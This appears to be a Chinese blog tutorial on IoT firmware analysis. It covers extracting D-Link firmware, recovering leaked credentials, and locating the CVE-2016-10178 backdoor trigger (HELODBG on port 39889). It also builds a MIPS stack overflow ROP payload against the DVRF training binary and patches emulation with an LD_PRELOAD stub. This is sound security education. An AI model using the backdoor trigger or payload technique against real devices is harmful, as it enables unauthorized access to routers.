抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

m

U-Boot(Universal Boot Loader),即通用Bootloader,是德国DENX小组开发的用于多种嵌入式CPU的bootloader程序

Legacy-uImage
在kernel镜像的基础上,加上64Byte的信息提供给uboot使用

binwalk分析一下,是Squashfs文件系统

Binwalk如何进行提取:

通过maigc特征集与文件进行比对,但识别效率比file命令高多了

binwalk -Me 解压得到

文件系统是操作系统的重要组成部分,是操作运行的基础。不同的路由器使用的文件系统格式不尽相同。根文件系统会被打包成当前路由器所使用的文件系统格式,然后组装到固件中。路由器希望文件系统越小越好,所以这些文件系统中各种压缩格式随处可见。

Squashfs是一个只读格式的文件系统,具有超高压缩率,其压缩率最高可达34%。当系统启动后,会将文件系统保存在一个压缩过的文件系统文件中,这个文件可以使用换回的形式挂载并对其中的文件进行访问,当进程需要某些文件时,仅将对应部分的压缩文件解压缩。

Squashfs文件系统常用的压缩格式有GZIP、LZMA、LZO、XZ(LZMA2)。路由器的根文件系统通常会按照Squashfs文件系统常用压缩格式中的一种进行打包,形成一个完整的Squashfs文件系统,然后与路由器操作系统的内核一起形成更新固件。

由于squashFS可以在不需要解压的情况下直接挂载,因此有许多应用场景,例如: 1、安装Linux时用的live cd 2、小型嵌入式设备中的rootfs。rootfs一般以压缩好的形式存放在ROM中,如果开机时把整个rootfs都解压到内存里再读取,对于ROM和RAM容量一般都很小的小型嵌入式设备来说性价比太低。

0x2 静态分析

从Dlink固件里面提取样本,打开发现被加密了。

如生成字典用的crunch、rsmangler,爆破用的frackzip等

直接使用教程的密码beUT9Z,解压如下

  • .mbn:高通的一套用于加载网络环境的文件(modem software configuration)
  • .yaffs2:针对NAND芯片设计的嵌入式文件系统,可用unyaffs提取

核心应该是2K-mdm-image-mdm9625.yaffs2,用unyaffs提取

1
unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/

接下来我们查找该路径下的所有.conf文件,.conf文件多是配置文件,有可能从中可以发现敏感的信息。

1
find . -name '*.conf'

其中的inadyn-mt.conf文件引起了我们注意,这是no-ip应用的配置文件,no-ip就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip的登陆账号及密码。

我们还从shadow文件中找到了root账号的密码,通过爆破可以得到root的密码为1234。

接下来使用firmwalker来自动化遍历固件系统中的所有可疑文件。

1
git clone https://github.com/craigz28/firmwalker.git

Firmwalker是一个bash脚本,用于扫描从IoT固件提取的文件以查看它们是否容易受到攻击。唯一的要求是该工具和提取的固件文件应位于同一文件夹中。

将它们放置在相同的位置后,由Firmwalker生成的输出文件-Firmwalker.text-将突出显示潜在问题的列表,可以是以下任意一个:

etc / ssl目录
etc / passwd和etc / shadow
配置,脚本和其他.bin文件
关键字,例如远程,管理员,密码等。
常见的二进制文件,例如dropbear,tftp和ssh
物联网设备上存在的常见Web服务器
随机IP地址,电子邮件ID和URL
使用Shodan CLI调用Shodan API的实验功能
面临任何这些问题的所有物联网设备都容易受到攻击。

1
./firmwalker.sh yaffs2-root/   

除了配置文件外,分析存在风险的二进制程序也很重要。查看自启动的程序,在etc/init.d目录下存放启动时运行的程序和脚本,一个start_appmgr脚本引起了我们注意,mgr一般就是主控程序的意思。

查看脚本,该脚本会在开机的时候以服务的形式运行/bin/appmgr程序。

用IDA打开该文件

发现一个后门,这个漏洞被收录到CVE-2016-10178

只要连接该固件的39889端口并发送HELODBG的字符串,就可以进行远程执行命令。

动态调试

采用Attify

1
./fat.py '/home/iot/Documents/DWP2360b-firmware-v206-rc018.bin'

image-20220630195056945

通过192.168.0.50即可访问固件

调试固件

用到了Damn Vulnerable Router Firmware这个项目

先用binwalk解压

提取出来的目录里有个文件夹pwnable,里面存放着漏洞程序示例,选取stack_bof_01程序进行实验,程序的源代码可以在DVRF/Pwnable Source/Intro/里查看

先用readelf查看文件信息,mips架构 小端序。。。

文件的主要逻辑:strcpy造成了栈溢出,存在后门函数。

动调

拷贝wmu-mipsel-static到固件根目录

1
cp (which qemu-mipsel-static) .

用qemu虚拟运行stack_bof_01:

以调试的方式启动程序,并在1234端口进行监听:

1
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 1111

打开一个新的shell,运行以下命令:

1
2
3
4
5
6
7
gdb-multiarch pwnable/Intro/stack_bof_01

# 设置架构
set architecture mips

#设置调试端口
target remote 127.0.0.1:1234

计算偏移

v

1
2
3
4
5
iot@attifyos ~/D/D/F/_/squashfs-root> 
python2 -c "print 'a'*204+'\x50\x09\x40\x00'" >payload

iot@attifyos ~/D/D/F/_/squashfs-root>
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 (cat payload)

如果直接把跳转地址设置为后门函数dat_shell的起始地址0x400950会触发异常

程序成功跳转至dat_shell,但依旧崩溃,因为我们溢出的时候把 $gp 寄存器也覆盖了,$gp 寄存器是用来全局指针寻址用的,覆盖了他就会导致程序无法正常寻址,自然程序就会 crash。

查询MIPS指令集,MIPS跳转方式:

1.设置t9寄存器数值,跳转到t9寄存器;

2.在执行某个函数之前,将要跳转的地址保存在ra寄存器中,执行函数后可跳转。

qemu不能vmmap。

ida打开libc.so.0

在MIPS中,函数内部会通过t9寄存器和gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,

如果在执行00400958 addu $gp, $t9是手动把$t9改成0x00400950,后面就正常了。

所以现在需要找一个gadget,通过t9跳转过去,这也是mips常规的用法,比如main开头调用memet。

img

sp:MIPS架构中,栈是向下增长的,也就是栈底在高地址,栈顶在低地址。在图3-2中,GPR[sp]代表通用寄存器sp($29)指向栈顶,又称sp为栈指针(stack pointer)

其偏移0x6b20处确实有一个gadget

1
2
.text:00006B20 00 00 B9 8F                   lw      $t9, arg_0($sp)
.text:00006B24 09 F8 20 03 jalr $t9

p &memset #查看memset地址,为0x408b6e10。(友情提示,需要在memset处下断点,运行至memset,不然由于之前没有运行memset,memset地址为其got地址)

ida打开libc.so.0,查看memset偏移为0x0001BE10

则libc基地址为:0x408b6e10-0x0001BE10=0x4089b000

gadget地址为 :0x4089b000+0x6b20=0x408a1b2

payload

1
2
python2 -c "print 'a'*204+'\x20\x1b\x8a\x40'+'\x50\x09\x40\x00'" > payload
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 (cat payload)

getshell

修复固件运行环境

有一些固件因为硬件依赖等原因导致qemu和firmadyne之类的软件无法正确模拟

模拟固件运行的实质其实就是把固件的Web程序跑起来,而模拟失败则说明Web程序运行出错了,我们接下来就要看看Web程序报错的原因以及如何修复运行环境。

拿到dir605L_FW_113.bin固件

binwalk解析,进入文件系统目录squashfs-root-0,找到web服务程序Boa (在bin目录下

Boa程序是一个轻量级的web服务器程序,常见于嵌入式系统中。dlink就是在boa开源代码的基础上新增了很多功能接口以实现路由器上的不同功能。boa程序的路径为/bin/boa,同时我们发现在/etc/boa路径下还有个boa的密码配置文件,我们可以直接获取到boa加密后的密码。

1
2
3
4
5
6
7
cp (which qemu-mips-static) .
sudo chroot . ./qemu-mips-static bin/boa
补充

mips 是32位大端字节序

mipsel 是32位小端字节序

注:APMIB 是个Realtek(网卡?)的玩意

由于没有flash,导致读mib失败

拖到反编译工具中分析。先定位到字符串“Initialize AP MIB failed!”的位置。注意到在输出这个字符串前有个调用APMIB初始化的跳转,在此下断点,

IDA gdbserver远程调试

QEMU的远程调试不需要gdbserver,-g 指定端口,ida 远程调试选项指定相应端口就行

1
sudo chroot . ./qemu-mips-static -g 23946 bin/boa

BNEZ是branch not equal to zero

条件转移指令,当寄存器中内容不为0时转移发生

apmib_init 函数返回 0 导致了这个错误

编写劫持函数动态库:

在apmib.so函数里面。

直接写一个动态库 apmib_init函数返回 1 劫持

1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>

int apmib_init(){
return 1;
}

编译

1
mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so

然后运行 -E优先选择我们的so文件

1
sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa

但是依旧报错

再次动调发现我们的 apmib_get 函数时出错了

可以将 apmib.so 直接拖出来 IDA32 分析一下 apmib_get 函数

https://jyhshin.pixnet.net/blog/post/47162002-realtek-apmib-library
apmib_get(), 讀取 RAMmib
qemu 模拟不了与硬件交互的情况,所以读取不到

重新写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2c1

int apmib_init(){
return 1;
}

int fork(void){
return 0;
}

void apmib_get(int code,int *value){
switch(code){
case MIB_HW_VER:
*value=0xf1;
break;
case MIB_IP_ADDR:
*value=0x7f000001;
break;
case MIB_CAPTCHA:
*value=1;
break;
}
return;
}

再次编译

查看 Wizard_Easy_LangSelect.asp代码,猜测 hwhardware 缩写,所以应该是跟硬件交互

1
2
3
4
var hw_version="<%getInfo("hwVersion")%>";
var productModel="<%getInfo("productModel")%>";
document.getElementById("hw_version_head").innerHTML = hw_version;
document.getElementById("product_model_head").innerHTML

魔改入口网页 first.asp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<head>
</head>
<% getLangInfo("LangPathWizard");%>
<script>
function init()
{
var ecflag = <% getIndexInfo("enableecflag") %>;
if(ecflag == 0)
{
if((LangCode == "SC")||(LangCode == "TW"))
{
self.location.href="Basic/Wizard_Easy_Welcome.asp";
}
else
{
//self.location.href="Basic/Wizard_Easy_LangSelect.asp";
self.location.href="Basic/Wizard_Easy_Welcome.asp";
}
}
else
{
self.location.href="index.asp";
}
}
</script>
<body onLoad="init();">
</html>

如此便恢复完毕,网页可以访问。

接下来就可以挖洞了哇

评论